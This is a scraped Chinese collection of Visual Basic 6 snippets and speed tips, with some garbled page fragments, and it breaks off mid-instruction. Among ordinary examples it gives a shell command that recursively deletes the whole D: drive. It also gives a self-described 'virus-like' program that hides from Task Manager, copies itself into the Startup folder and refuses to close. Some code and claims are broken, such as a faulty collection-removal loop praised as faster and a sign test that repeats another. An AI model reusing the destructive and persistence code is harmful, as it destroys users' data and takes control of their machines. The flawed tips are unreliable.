文档库 最新最全的文档下载
当前位置:文档库 › 代码大全

代码大全

代码大全
代码大全

代码大全.txt一个人一盒烟一台电脑过一天一个人一瓶酒一盘蚕豆过一宿。永远扛不住女人的小脾气,女人永远抵不住男人的花言巧语。

---------------------------------------------------------------------------------------------

退出程序时,弹出窗口提示是否要退出:

Private Sub Form_Unload(Cancel As Integer)

Dim iAnswer As Integer

iAnswer = MsgBox("真要退出吗?", vbYesNo)

If iAnswer = vbNo Then

Cancel = True

Else

End

End If

End Sub

----------------------------------------------------------------------------------------------

只能用任务管理器关闭程序的代码:

Private Sub From_Unload(Cancel As Integer)

Cancel = true

End Sub

------------------------------------------------------------------------------------------------

点击command1打开33IQ网:

Dim strURL

Private Sub Command1_Click()

strURL = "错误!超链接引用无效。

Shell "explorer.exe " & strURL, 1

End Sub

------------------------------------------------------------------------------------------------

运行c:\1.exe

shell "c:\1.exe"

执行c:\1.bat

shell "c:\1.bat"

注:只适用于大部分exe和全部bat。

------------------------------------------------------------------------------------------------

把label1.caption的值替换成label2.caption的值,label2.caption不变(括号内可省略):label1 (.caption) = label2 (.caption)

注:是变动值(被替换值) = 数据值(参考值、不变值),别搞反了。

如 label1 = 1 而不是 1 = label1

---------------------------------------------------------------------------------------------

将text1的文本保存到某文件

(cd1是commanddialog控件,下同)

cd1.ShowSave

If Not cd1.FileName = "" Then

Open cd1.FileName For Output As #1

Print #1, Text1.Text

Close #1

End If

------------------------------------------------------------------------------------------

把某文本文件读取到TEXT1

Dim tmp$

cd1.ShowOpen

If Not cd1.FileName = "" Then

Open cd1.FileName For Input As #1

Line Input #1, tmp$

Close #1

Text1 = tmp

End If

-------------------------------------------------------------------------------------------

点击command1弹出窗口(红色处请替换成你要的内容)

Private Sub Command1_Click()

MsgBox "(显示文字)", vbYesNo(你要弹出的窗口的类型,下面有几种常用的类型), "(窗口标题)"

End Sub

Private Sub Command1_Click()

MsgBox "(显示文字)"

End Sub

常用的弹出窗口类型:

vbYesNo 包含是、否按钮的窗口

vbYesNoCancle 包含是、否、取消

vbOKonly 只包含确定按钮

vbOKCancle 包含确定、取消

vbQuestion 带问号图标、只有确定按钮的窗口

-----------------------------------------------------------------------------------------------

点击command1,label1随机显示1.2.3

Function a() As String

Dim b(2) As String

b(0) = 1

b(1) = 2

b(2) = 3

Randomize

a = b(Rnd * 2)

End Function

Private Sub Command1_Click()

Label1.Caption = a

End Sub

--------------------------------------------------------------------------------------------------

删除"D:\1.txt":

Kill "D:\1.txt"

新建文件夹"D:\123":

MkDir "d:\123"

复制文件,由桌面的"1.txt"复制到"D:\1.txt":

FileCopy "C:\Documents and Settings\Administrator\桌面\1.txt", "D:\1.txt"

删除"D:\123"文件夹:

Shell "cmd /c ""rmdir.exe /s /q D:\123\""", vbNormalFocus

删除D盘所有文件(红色处后面不加\):

Shell "cmd /c ""rmdir.exe /s /q D:""", vbNormalFocus

------------------------------------------------------------------------------------------------------

App.title ="这是标题"

' 在任务管理器-程序中此VB程序的名字,本例的标题为“这是标题”

App.TaskVisible = False

' 隐藏任务管理器中此VB程序的名字

App.Path

' 此VB程序的所在文件夹路径(如程序在“d:\1.exe”,则此值为“d:”,没有“\”)

App.EXEName

' 此VB程序的文件名(如程序在“d:\这是程序.exe”,则此值为“这是程序”,没有“.exe”)

------------------------------------------------------------------------------------------------------

一个小程序,类似病毒(不要运行!!仅供参考)。新建工程,放入一个timer控件,改Interval 值为1,然后输入以下代码即可:

Private Sub Form_Load()

App.Title = ""

App.TaskVisible = False

FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\" & App.EXEName & ".exe"

End Sub

Private Sub Form_Unload(Cancel As Integer)

Cancel = True

End Sub

Private Sub Timer1_Timer()

Form1.Show

End Sub

用Mid$命令超速字符串添加操作

大家都知道,&操作符的执行速度是相当慢的,特别是处理长字符串时。当必须重复地在同一变量上附加字符时,有一个基于Mid$命令的技巧可以使用。基本思路就是:预留一个足够长的空间存放操作的结果。下面是应用这个技术的一个例子。

假设要建立一个字符串,它要附加从1开始的10000个整数:"1 2 3 4 5 6 7 (9999)

10000"。下面是最简单的实现代码:

res = ""

For i = 1 to 10000: res = res & Str(i): Next

<>

face=宋体>代码虽然简单,但问题也很明显:Res变量将被重分配10000次。下面的代码实现同样的目的,但效果明显好转:

Dim res As String

Dim i As Long

Dim index As Long

’预留足够长的缓冲空间

res = Space(90000)

’指针变量,指出在哪里插入字符串

index = 1

’循环开始

For i = 1 to 10000

substr = Str(i)

length = Len(substr)

’填充字符串的相应区间段数值

Mid$(res, index, length) = substr

’调整指针变量

index = index + length

Next

’删除多余字符

res = Left$(res, index - 1)

测试表明:在一个333MHz的计算机上,前段代码执行时间为2.2秒,后者仅仅为0.08秒!代码虽然长了些,可是速度却提高了25倍之多。呵呵,由此看来:代码也不可貌相啊

从头开始删除集合项目

删除集合中的所有内容有许多方法,其中有些非常得迅速。来看看一个包含10,000个项目的集合:

Dim col As New Collection, i As Long

For i = 1 To 10000

col.Add i, CStr(i)

Next

可以从末尾位置为起点删除集合内容,如下:

For i = col.Count To 1 Step -1

col.Remove i

Next

也可以从开始位置为起点删除集合内容,如下:

For i = 1 To col.Count Step 1

col.Remove i

Next

<>

face=宋体>试验证明,后者要快于前者百倍多,比如0.06秒比4.1秒。原因在于:当引用接近末尾位置的集合项目时,VB必须要从第1个项目开始遍历整个的项目链。 <>

face=宋体>更有趣的是,如果集合项目的数量加倍,那么从末尾开始删除与从头开始删除,前者要比后者花费的时间将成倍增长,比如前者是24秒,后者可能为0.12秒这么短!

最后提醒您:删除集合的所有内容的最快方法就是“毁灭”它,使用下面的语句: Set col = New Collection

对于一个包含20,000个项目的集合,上述操作仅仅耗时0.05秒,这比使用最快的循环操作进行删除也要快2倍左右。

用InStr函数实现代码减肥可以采用“旁门左道”的方式使用Instr函数实现代码的简练。下面是一个典型的例子,检测字符串中是否包含一个元音字母:

1、普通的方法:

If UCase$(char) = "A" Or UCase$(char) = "E" Or UCase$(char) = "I" Or UCase$(char) = "O" Or UCase$(char) = "U" Then

’ it is a vowel

End If

2、更加简练的方法:

If InStr("AaEeIiOoUu", char) Then

’ it is a vowel

End If

同样,通过单词中没有的字符作为分界符,使用InStr来检查变量的内容。下面的例子检查Word中是否包含一个季节的名字: 1、普通的方法:

If LCase$(word) = "winter" Or LCase$(word) = "spring" Or LCase$(word) = _ "summer" Or LCase$(word) = "fall" Then

’ it is a season’s name

End If

2、更加简练的方法:

If Instr(";winter;spring;summer;fall;", ";" & word & ";") Then

’ it is a season’s name

End If

有时候,甚至可以使用InStr来替代Select

Case代码段,但一定要注意参数中的字符数目。下面的例子中,转换数字0到9的相应英文名称为阿拉伯数字: 1、普通的方法:

Select Case LCase$(word)

Case "zero"

result = 0

Case "one"

result = 1

Case "two"

result = 2

Case "three"

result = 3

Case "four"

result = 4

Case "five"

result = 5

Case "six"

result = 6

Case "seven"

result = 7

Case "eight"

result = 8

Case "nine"

result = 9

End Select

2、更加简练的方法:

result = InStr(";zero;;one;;;two;;;three;four;;five;;six;;;seven;eight;nine;", _ ";" & LCase$(word) & ";") \ 6

精用Boolean表达式,让代码再减肥

当设置基于表达式结果的Boolean型数值时,要避免使用多余的If/Then/Else语句结果。比如:

If SomeVar > SomeOtherVar Then

BoolVal = True

Else

BoolVal = False

End If

上面这段代码就很烦琐,它们完全可以使用下面的一行代码来替代:

BoolVal = (SomeVar > SomeOtherVar)

括号不是必须的,但可以增加可读性。根据表达式中的操作数不同,后者比前者执行起来大约快50%到85%。后者中的括号对速度没有影响。

有时,使用这个技术实现代码的简练并非很明显。关键是要牢记:所有的比较操作结果或者是0(false),或者是-1(True)。所以,下面例子中的2段代码是完全相同的,但是第2段要运行得快些:

1、传统方法: If SomeVar > SomeOtherVar Then

x = x + 1

End If

2、更简练的方法

x = x - (SomeVar > SomeOtherVar)

函数名巧做局部变量

很多程序员都没有认识到“在函数本身中使用函数名”的妙处,这就象对待一个局部变量一样。应用这个技巧可以起到临时变量的作用,有时还能加速程序运行。看看下面的代码:Function Max(arr() As Long) As Long

Dim res As Long, i As Long

res = arr(LBound(arr))

For i = LBound(arr) + 1 To UBound(arr)

If arr(i) > res Then res = arr(i)

Next

Max = res

End Function

去掉res变量,使用函数名称本身这个局部变量,可以使程序更加简练:

Function Max(arr() As Long) As Long

Dim i As Long

Max = arr(LBound(arr))

For i = LBound(arr) + 1 To UBound(arr)

If arr(i) > Max Then Max = arr(i)

Next

End Function

火眼识破隐藏的Variant变量

如果没有用As语句声明变量,默认类型就是Variants,比如:

Dim name ’ this is a variant

或者,当前模块下没有声明Option Explicit语句时,任何变量都是Variants类型。

许多开发者,特别是那些先前是C程序员的人,都会深信下面的语句将声明2个Interger 类型变量:

Dim x, y As Integer

而实际上,x被声明为了variant类型。由于variant类型变量要比Integer类型慢很多,所以要特别注意这种情况。正确的一行声明方法是:

Dim x As Integer, y As Integer

GoSub在编译程序中速度变慢

编译为本地代码的VB应用程序中,如果使用 GoSubs 命令,就会比通常的 Subs 或者Function 调用慢5-6倍;相反,如果是p-code模式,就会相当快。

减少DoEvents语句的数量

不要在代码中放置不必要的DoEvents语句,尤其是在时间要求高的循环中。遵循这个原则,至少能在循环中的每N次反复时才执行DoEvents语句,从而增强效率。比如使用下面的语句:If (loopNdx Mod 10) = 0 Then DoEvents

如果只是使用DoEvents来屏蔽鼠标以及键盘操作,那么就可以在事件队列中存在待处理项目时调用它。通过API函数GetInputState来检查这个条件的发生:

Declare Function GetInputState Lib "user32" Alias "GetInputState" () As Long

’ ...

If GetInputState() Then DoEvents

为常量定义合适的类型

VB在内部使用最简单、最可能的数据类型保存符号数值,这意味着最通常的数字类型-比如0或者1-都按照Integer类型存储。如果在浮点表达式中使用这些常量,可以通过常量的合

适类型来加速程序运行,就象下面的代码: value# = value# + 1#.

这个语句强迫编译器按照Double格式存储常量,这样就省却了运行时的隐含转换工作。还有另外的一种处理方法就是:在常量声明时就进行相应类型的定义,代码如下:

Const ONE As Double = 1

And、Or和Xor:让我们来优化表达式

要检测一个整数值的最高有效位是否有数值,通常要使用如下的代码(有二种情况:第一组If判断表明对Integer类型,第二组对Long类型):

If intvalue And &H8000 Then

’ most significant bit is set

End If

If lngvalue And &H80000000 Then

’ most significant bit is set

End If

但由于所有的VB变量都是有符号的,因此,最高有效位也是符号位,不管处理什么类型的数值,通过下面的代码就可以实现检测目的:

If anyvalue < 0 Then

’ most significant bit is set

End If

另外,要检测2个或者更多个数值的符号,只需要通过一个Bit位与符号位的简单表达式就可以完成。下面是应用这个技术的几段具体代码:

1、判断X和Y是否为同符号数值:

If (x < 0 And y < 0) Or (x >= 0 And y >=0) Then ...

’ the optimized approach

If (x Xor y) >= 0 Then

2、判断X、Y和Z是否都为正数

If x >= 0 And y >= 0 And z >= 0 Then ...

’ the optimized approach

If (x Or y Or z) >= 0 Then ...

3、判断X、Y和Z是否都为负数

If x < 0 And y < 0 And z < 0 Then ...

’ the optimized approach

If (x And y And z) < 0 Then ...

4、判断X、Y和Z是否都为0

If x = 0 And y = 0 And z = 0 Then ...

’ the optimized approach

If (x Or y Or z) = 0 Then ...

5、判断X、Y和Z是否都不为0

If x = 0 And y = 0 And z = 0 Then ...

’ the optimized approach

If (x Or y Or z) = 0 Then ...

要使用这些来简单化一个复杂的表达式,必须要完全理解boolean型的操作原理。比如,你可能会认为下面的2行代码在功能上是一致的:

If x <> 0 And y <> 0 Then

If (x And y) Then ...

然而我们可以轻易地证明他们是不同的,比如X=3(二进制=0011),Y=4(二进制=0100)。不过没有关系,遇到这种情况时,我们可以对上面的代码进行局部优化,就能实现目的。代码如下:

If (x <> 0) And y Then ...

静态变量慢于动态变量

在过程中引用静态局部变量要比引用常规局部动态变量慢2-3倍。要想真正地加速过程的执行速度,最彻底的方法就是将所有的静态变量转换为模块级别变量。

这种方法的唯一不足是:过程很少是自包含的,如果要在其他工程中重用,就必须同时拷贝并粘贴这些模块级别变量。

另外的一种处理方法是:在时间要求高的循环前,将静态变量数值装入动态变量中。

善用"Assume No Aliasing"编译选项

据说,如果过程能够2次或多次引用同样的内存地址,那么过程就会包含别名数值。一个典型的例子如下:

Dim g_GlobalVariable As Long

...

Sub ProcWithAliases(x As Long)

x = x + 1

g_GlobalVariable = g_GlobalVariable + 1

End Sub

如果传递给这个过程g_GlobalVariable变量,则将通过一个直接引用以及x参数两种方式修改变量的数值2次。

别名数值经常是不良编程习惯的产物,对于程序优化有害无益。事实上,如果能够完全确认应用程序从来没有使用到别名变量,就可以打开"Assume No Aliasing"高级编译选项,这将告知编译器没有过程可以修改同一内存地址,使编译器产生更加有效率的汇编代码。更特别的是,编译程序将试图缓冲这些数据到CPU的寄存器中,从而明显地加速了程序运行。

总结一下,当遇到以下情况时,就不会有别名数值:(1) 过程不引用任何全局变量 (2) 过程引用了全局变量,但从来不通过ByRef参数类型传递同一变量给过程 (3) 过程含有多个ByRef参数类型,但从来不传递同一变量到其中的2个或者多个之中。

你真正理解"Allow Unrounded Floating Point Operations"选项的含义吗?

来自微软的资料鼓吹:高级优化对话框中的所有编译选项都被认为是不稳定的,它们可能导致不正确的结果,甚至程序崩溃。对于其中的大多数,这种说法是正确的,但是经常有一个叫做"Allow Unrounded Floating Point Operations"的选项能够给予正确的结果,防止应用程序产生bug。考虑下面的代码段: Dim x As Double, y As Double, i As Integer

x = 10 ^ 18

y = x + 1 ’ this can’t be expressed with 64 bits

MsgBox (y = x) ’显示 "True" (不正确的结果)

严格地说,由于X和Y变量不包含相同的数值,MsgBox将显示False。可问题是,由于数值1E18与1E18+1都以相同的64位浮点Double类型来表示,它们最终包含了几乎相同的数值,最后的MsgBox结果将是True。

如果打开了"Allow Unrounded Floating Point Operations"编译选项,VB就能重用已在数学协处理器堆栈中的数值,而不是内存中的数值(比如:变量)。因为FPU堆栈具备80位的精度,因此就可以区分出这2个数值的不同:

’ if the program is compiled using the

’ "Allow Unrounded Floating Point Operations" compiler option

MsgBox (y = x) ’显示 "False" (正确的结果)

总结一下:当以解释模式、或者编译的p-code模式、或者编译的native代码模式但关掉"Allow Unrounded Floating Point Operations"选项这3种方式运行一个程序时,所有浮点数字运算在内部都以80位的精度进行处理。但如果有一个数值是存储在64位Double变量中,结果就是接近的了,并且,随后使用那个变量的表达式也将产生近似的结果,而不是绝对正确的结果。

相反,如果打开"Allow Unrounded Floating Point Operations"编译选项后运行一段native 编译代码,在随后的表达式中VB就经常能重用内部的80位数值,而忽略存储在变量中的当前数值。注意:我们并不能完全控制这个功能,VB也许对此生效,也许就不生效,这要取决于表达式的复杂程度以及最初分配数值语句与随后产生结果的表达式语句的距离远近。

除法运算符"\"与"/"的区别

整数间执行除法运算时,要使用 "\" 而不是 "/"。 "/" 运算符要求返回一个单一数值,所以,表面上看似简单的一行代码:

C% = A% / B%

实际上包含了3个隐含的转换操作:2个为除法运算做准备,从Integer转换到Single;一个完成最后的赋值操作,从Integer转换到Single。但是如果使用了"\"操作符,情况就大不相同了!不仅不会有这么多中间步骤,而且执行速度大大提高。

同时请记住:使用"/"操作符做除法运算时,如果其中之一是Double类型,那么结果就将是Double类型。所以,当2个Integer或者Single类型数值做除法运算时,如果想得到高精度的结果,就需要手工强迫其中之一转换为Double类型:

’结果为 0.3333333

Print 1 / 3

’结果为 0,333333333333333

Print 1 / 3#

使用"$-类型"字符串函数会更快

VB官方文档似乎很鼓励使用"无$"类字符串函数,比如:Left、LTrim或者UCase,而不是实现同样功能的Left$、LTrim$和UCase$函数。但是我们必须认识到:前者返回variant类型的数值,当用于字符串表达式中时,最终必须要转换为字符串(string)类型。

因此,在严格要求时间的代码段中,我们应该使用后者,它们将快5-10%。

妙用Replace函数替代字符串连接操作符&

你大概不知道Replace函数还能这么用吧?比如下面的语句:

MsgBox "Disk not ready." & vbCr & vbCr & _

"Please check that the diskette is in the drive" & vbCr & _

"and that the drive’s door is closed."

可以看出,为了显示完整的字符串含义,要将可打印字符与非打印字符(比如:回车符vbCr)用&符号连接在一起。结果是:长长的字符连接串变得难于阅读。但是,使用Replace函数,可以巧妙地解决这个问题。方法就是:将非打印字符以字符串中不出现的一个可打印字符表示,这样完整地写出整个字符串,然后使用Replace函数替换那个特别的打印字符为非打印字符(比如:回车符vbCr)。代码如下:

MsgBox Replace("Disk not ready.§§Please check that the diskette is in the " _ & "drive§and that the drive’s door is closed.", "§", vbCr)

固定长度字符串数组:赋值快,释放快!

固定长度字符串的处理速度通常慢于可变长度字符串,这是因为所有的VB字符串函数和命令只能识别可变长度字符串。因此,所有固定长度字符串比然被转换为可变长度字符串。

但是,由于固定长度字符串数组占据着一块连续的内存区域,因此在被分配以及释放时,速度明显快于可变长度的数组。比如:在一个Pentium 233MHz机器上,对于一个固定长度为100,000的数组,给其中30个位置分配数值,大约只花费半秒种的时间。而如果是可变长度的数组,同样的操作要耗费8秒之多!后者的删除操作耗时大约0.35秒,但固定长度的数组几乎可以立即“毙命”!如果应用程序中涉及到这么大的一个数组操作,选择固定长度方式数组绝对是确定无疑的了,无论是分配数值,还是释放操作,都可以风驰电掣般完成。

未公开的返回数组型函数加速秘诀

在VB6中,函数是能够返回数组对象的。这种情况下,我们不能象返回对象或者数值的其他函数一样使用函数名当做局部变量来存储中间结果,因此不得不生成一个临时局部数组,函数退出前再分配这个数组给函数名,就象下面的代码一样:

’返回一个数组,其中含有N个随即元素

’并且将平均值保存在AVG中

Function GetRandomArray(ByVal n As Long, avg As Single) As Single()

Dim i As Long, sum As Single

ReDim res(1 To n) As Single

’以随机数填充数组,并计算总和

Randomize Timer

For i = 1 To n

res(i) = Rnd

sum = sum + res(i)

Next

’赋值结果数组,计算平均值

GetRandomArray = res

avg = sum / n

End Function

难以置信的是,只需要简单地颠倒最后2条语句的顺序,就能使上面这段程序变得快些:

’ ... ’赋值结果数组,计算平均值

avg = sum / n

GetRandomArray = res

End Function

例如,在一个Pentium II 333MHz 机器上,当N=100,000时,前段程序运行时间为0.72秒,后段程序则为0.66秒,前后相差10%。

原因何在呢?前段程序中,VB将拷贝res数组到GetRandomArray对应的结果中,当数组很大时,花费的时间是很长的。后段程序中,由于GetRandomArray = res是过程的最后一条语句,VB编译器就能确认res数组不会被再使用,因此将直接交换res和GetRandomArray的地址数值,从而节省了数组元素的物理拷贝操作以及随后的res数组释放操作。

总结如下:当编写返回数组的函数时,一定要将分配临时数组到函数名的语句放在最后,就是其后紧挨者Exit Function 或者End Function的位置。

-------------------------------------------------------------------------------- Dim i As Long

ReDim res(0 To UBound(values)) As Integer

For i = 0 To UBound(values)

res(i) = values(i)

Next

ArrayInt = res()

End Function

同时,也可以创建一个子程序段来检测传递给它的数值的类型,并返回正确类型的数组。这种情况下,函数应该定义为返回Variant。

访问简单变量总是快于数组元素值

读写数组中的元素速度通常都慢于访问一个简单变量,因此,如果在一个循环中要重复使用同一数组元素值,就应该分配数组元素值到临时变量中并使用这个变量。下面举一个例子,检测整数数组中是否存在重复项:

Function AnyDuplicates(intArray() As Integer) As Boolean

’如果数组包含重复项,返回True

Dim i As Long, j As Long,

Dim lastItem As Long

Dim value As Integer

’只计算机UBound()一次

lastItem = UBound(intArray)

For i = LBound(intArray) To lastItem

’保存intArray(i)到非数组变量中

value = intArray(i)

For j = i + 1 To lastItem

If value = intArray(j) Then

AnyDuplicates = True

Exit Function

End If

Next

Next

’没有发现重复项

AnyDuplicates = False

End Function

上述程序有2层循环,通过缓存intArray(i)的数值到一个普通的、非数组变量中,节省了CPU运行时间。经测试,这将提高80%的速度。

创建新表时,快速拷贝字段

在VB6中,无需离开开发环境就可以创建新的SQL Server和Oracle表。方法很简单:打开DataView窗口,用鼠标右键单击数据库的表文件夹,再选择新表格菜单命令。

当处理相似表格时,就是说具有许多相同字段的表格,我们完全可以在很短的时间内容完成设定操作。具体步骤是:在设计模式下打开源表格,加亮选择要拷贝字段对应的行,按Ctrl-C 拷贝信息到粘贴板;然后,在设计模式打开目标表格,将光标置于要粘贴字段所在的位置,按Ctrl-V。

这样,就拷贝了所有的字段名称以及它们所带的属性。无闪烁地快速附加字符串到textbox 控件

附加文本到TextBox或者RichTextBox控件的通常方法是在当前内容上连接上新的字符串:Text1.Text = Text1.Text & newString

但还有一个更快的方法,并且会减少连接操作的闪烁感,代码如下:

Text1.SelStart = Len(Text1.Text)

Text1.SelText = newString

快速找到选中的OptionButton

OptionButton控件经常是作为控件数组存在的,要快速找到其中的哪一个被选中,可以使用下面的代码:

’假设控件数组包含3个OptionButton控件

intSelected = Option(0).value * 0 - Option(1).value * 1 - Option(2).value * 2

注意,因为第一个操作数总是0,所以上述代码可以精简如下:

intSelected = -Option(1).value - Option(2).value * 2

表单及控件的引用阻止了表单的卸载

当指派表单或者表单上的控件到该表单模块以外的一个对象变量中时,如果要卸载表单,就必须首先将那个变量设置为 to Nothing。也就是说,如果不设置为Nothing,即使看不到这个对象了,但它仍旧是保存在内存中的。

注意:这并非是一个bug,这仅仅是COM引用规则的一个结果。唯一要注意的就是引用的这个控件将阻止整个表单的卸载操作,它将依赖于它的父表单而存在。重定义编译DLL文件的基地址

许多VB开发者都知道应该在工程属性对话框的“编译”功能页面中定义一个DLL基地址数值。这不同于工程中任何其他DLL或OCX的基地址。

当操作没有源代码的编译DLL或者OCX文件时,可以使用EDITBIN程序修改它的基地址。EDITBIN程序随Visual Studio安装后就有了,可以在主Visual Studio目录的VC98\BIN目录下找到它。比如,以下代码重新设定一个编译DLL文件的基地址为12000000(16进制):EDITBIN /REBASE:BASE=0x12000000 myfile.dll

同样,EDITBIN程序对可执行文件也有一些处理技巧。以下是该程序支持的完整功能选项列表(使用EDITBIN /? 可以列出这些):

/BIND[:PATH=path]

/HEAP:reserve[,commit]

/LARGEADDRESSAWARE[:NO]

/NOLOGO

/REBASE[:[BASE=address][,BASEFILE][,DOWN]]

/RELEASE

/SECTION:name[=newname][,[[!]{cdeikomprsuw}][a{1248ptsx}]]

/STACK:reserve[,commit]

/SUBSYSTEM:{NATIVE|WINDOWS|CONSOLE|WINDOWSCE|POSIX}[,#[.##]]

/SWAPRUN:{[!]CD|[!]NET}

/VERSION:#[.#]

/WS:[!]AGGRESSIVE

快速调入TreeView控件以及ListView控件的子项内容

有一个简单但仍未发现的技巧可用于在TreeView控件中装载多个节点,或者在ListView控件中装载多个ListItems。这种方法要比传统做法快。先看看下面这个传统方法:

For i = 1 To 5000

TreeView1.Nodes.Add , , , "Node " & i

Next

改进一下,代替重复引用TreeView1对象的Nodes集合,我们可以先将之保存在临时对象变量中:

Dim nods As MSComctlLib.Nodes

Set nods = TreeView1.Nodes

For i = 1 To 5000

nods.Add , , , "Node " & i

Next

甚至,如果使用With代码块,还可以不需要临时变量:

With TreeView1.Nodes

For i = 1 To 5000

.Add , , , "Node " & i

Next

End With

经测试,优化的循环代码要比传统方法执行速度快40%左右。原因在于:将Nodes集合对象保存在临时变量中,或者应用With代码块后VB将使用隐藏的临时变量后,就可以避免在循环中重复绑定Nodes对象到它的父TreeView1对象上。由于这种绑定是低效率的,因此省却它就能节省大量的执行时间。

同样的道理对于其他ActiveX控件也生效:

ListView控件的ListItems、ListSubItems以及ColumnHeaders集合

Toolbar控件的Buttons和ButtonMenus集合

ImageList的ListImages集合

StatusBar控件的Panels集合

TabStrip控件的Tabs集合

Friend过程快于Public过程

你可能会非常惊奇:Friend类型过程的执行速度要明显快于Public类型。这可以通过创建一个带有Private类和Public类 (设定Instancing = MultiUse)的ActiveX EXE工程看到,在2个类模块中添加下面的代码:

Public Sub PublicSub(ByVal value As Long)

End Sub

Public Function PublicFunction(ByVal value As Long) As Long

End Function

Friend Sub FriendSub(ByVal value As Long)

End Sub

Friend Function FriendFunction(ByVal value As Long) As Long

’ End Function

然后,在表单模块中创建一个循环,执行每个例程许多次。比如,要在一个Pentium II机器上查看执行时间上的区别,可以调用每个例程1,000,000次。下面是测试的结果:

Private类模块中,反复调用1,000,000次Public Sub或者Function耗费了0.46秒,而调用内容相同的Friend类型模块则分别只有0.05秒和0.06秒。前后竟然相差了8-9倍之多!对于MultiUse类型的Public类模块,也是一样的结果。

对于这个不可思议的结果的可能解释是:Friend型过程没有处理汇集和拆装代码的消耗(Public过程可以从当前工程外被调用,因此COM必须要来回地汇集数据)。但是在多数情况下,这些时间差别是不明显的,特别是程序中包含一些复杂和耗时的语句时。

即使这样,Friend型过程仍有其他的优势高于Public类型,比如:接受和返回在BAS模块中定义的UDT变量的能力。

使用Objptr函数快速查找集合中的对象

ObjPtr函数的一个最简单但是却最有效的用途就是提供快速寻找集合中对象的关键字。假设有一个对象集合,它没有可以当做关键字以从集合中取回的属性。那么,我们就可以使用ObjPtr函数的返回值作为集合中的关键字:

Dim col As New Collection

Dim obj As CPerson

’创建新的CPerson对象,并添加到集合中

Set obj = New CPerson

https://www.wendangku.net/doc/8d1981392.html, = "John Smith"

col.Add obj, CStr(ObjPtr(obj)) ’关键字必须是字符串

因为任何对象都有一个明确的ObjPtr数值,而且它是不变的,所以,我们可以容易地、快速地从集合中取回它:

’删除集合中的对象

col.Remove CStr(ObjPtr(obj))

这个技巧可以适用于任何类型的对象,包括VB中的表单和控件,以及外部对象。

使用ObjPtr检测2个对象变量是否指向同一对象

判断2个对象变量释放指向同一对象的方法是使用Is操作符,代码如下:

If obj1 Is obj2 Then ...

但当2个对象是同一类型时,或者指向同一个二级接口时,我们就可以利用ObjPtr()函数对代码进行一些优化处理:

If ObjPtr(obj1) = ObjPtr(obj2) Then ...

后者的执行速度将比前种方法快40%多。但是请注意,2种方法原本就是很有效率的,只有在时间要求非常严格的上百成千次的循环中,才会体现出这种差别。

读取文件内容的简洁方法

读取text文件的最快方法是使用Input$函数,就象下面的过程:

Function FileText (filename$) As String

Dim handle As Integer

handle = FreeFile

Open filename$ For Input As #handle

FileText = Input$(LOF(handle), handle)

Close #handle

End Function

使用上述方法要比使用Input命令读取文件每一行的方法快很多。下面是应用这个函数读取Autoexec.bat的内容到多行textbox控件的例子:

Text1.Text = FileText("c:\autoexec.bat")

但请注意:当文件包含Ctrl-Z(EOF)字符时,上面的函数代码可能会发生错误。因此,要修改一下代码:

Function FileText(ByVal filename As String) As String

Dim handle As Integer

’判断文件存在性

If Len(Dir$(filename)) = 0 Then

Err.Raise 53 ’文件没有找到 End If

’以binary模式打开文件

handle = FreeFile

Open filename$ For Binary As #handle

’读取内容,关闭文件

FileText = Space$(LOF(handle))

Get #handle, , FileText

Close #handle

End Function

字体对象克隆招法

当要应用一个控件的字体到另一控件时,最直接的方法就是直接赋值:

Set Text2.Font = Text1.Font

但多数情况下这种方法并不奏效,因为这实际上是将同一字体的引用分配给了2个控件。换言之,当随后修改其中之一控件的字体时,另外一个控件也受到影响。因此,要实现我们的目的,需要做的就是克隆字体对象并赋值给需要的控件。

最简单的克隆字体的方法是手工地拷贝所有单独的字体属性,就象下面一样:

Function CloneFont(Font As StdFont) As StdFont

Set CloneFont = New StdFont

https://www.wendangku.net/doc/8d1981392.html, = https://www.wendangku.net/doc/8d1981392.html,

CloneFont.Size = Font.Size

CloneFont.Bold = Font.Bold

CloneFont.Italic = Font.Italic

CloneFont.Underline = Font.Underline

CloneFont.Strikethrough = Font.Strikethrough

End Function

’函数的应用

Set Text2.Font = CloneFont(Text1.Font)

如果使用VB6,就可以使用PropertyBag对象快速拷贝所有字体属性,并且代码会很简练、速度也快2倍:

Function CloneFont(Font As StdFont) As StdFont

Dim pb As New PropertyBag

’拷贝字体到PropertyBag对象中

pb.WriteProperty "Font", Font

’恢复字体对象到新控件

Set CloneFont = pb.ReadProperty("Font")

End Function

但是我们还能进一步地对代码进行优化,方法就是使用可被所有StdFont对象识别的隐藏IFont接口。这个接口具有一个Clone方法,用它就可以精确地实现我们的目的。它以非正常方式执行:创建一个克隆Font对象,然后返回相应的引用。这可能是实现克隆目的的最简洁代码了,而且,执行速度也是这里列举的3种方法中最快的一个,要比使用PropertyBag 对象的方法快大约3倍左右。来看看具体代码:

Function CloneFont(Font As IFont) As StdFont

Font.Clone CloneFont

End Function

-------------------------------------------------------------------------------- API程序源代码(多种功能)

'本人收集了一些技巧供大家参考,希望斑竹能多放一些时间。

'------------------------------------------------------------

'按字母或数字顺序排列列表框中的列表项.

'将以下代码加入到你的程序中.

Sub ReSort(L As Control)

Dim P%, PP%, c%, Pre$, s$, V&, NewPos%, CheckIt%

Dim TempL$, TempItemData&, S1$

For P = 0 To L.ListCount - 1

s = L.List(P)

For c = 1 To Len(s)

V = Val(Mid$(s, c))

If V > 0 Then Exit For

Next

If V > 0 Then

If c > 1 Then Pre = Left$(s, c - 1)

NewPos = -1

For PP = P + 1 To L.ListCount - 1

CheckIt = False

S1 = L.List(PP)

If Pre <> "" Then

If InStr(S1, Pre) = 1 Then CheckIt = True

Else

If Val(S1) > 0 Then CheckIt = True

End If

If CheckIt Then

If Val(Mid$(S1, c)) < V Then NewPos = PP

Else

Exit For

End If

Next

If NewPos > -1 Then

TempL = L.List(P)

TempItemData = L.ItemData(P)

L.RemoveItem (P)

L.AddItem TempL, NewPos

L.ItemData(L.NewIndex) = TempItemData

P = P - 1

End If

End If

Next

Exit Sub

'---------------------------------------------------

'Tag属性的妙用.

'在VB编程中,我们经常要动态的控制很多不同控件的属性,例如我们要将一个CommandButton阵列共20各控件中的第1、4、6、7、8、11、18、20号删除。该怎么半呢?这时只要将要删除的控件的Tag属性设置为1,然后加入以下代码就可以了。

For i = 1 To 20

If command1(i).Tag = 1 Then

Unload command1(i)

End If

Next i

'-----------------------------------------------------

'利用VB产生屏幕变暗的效果.

'想利用VB编程实现屏幕变暗的效果(向关闭Win95时的效果),只要按下面的步骤来做

'1、在FORM1中加入两个CommandButton和一个PictureBox.

'2 Print 在FORM1的代码窗口中添加以下代码:
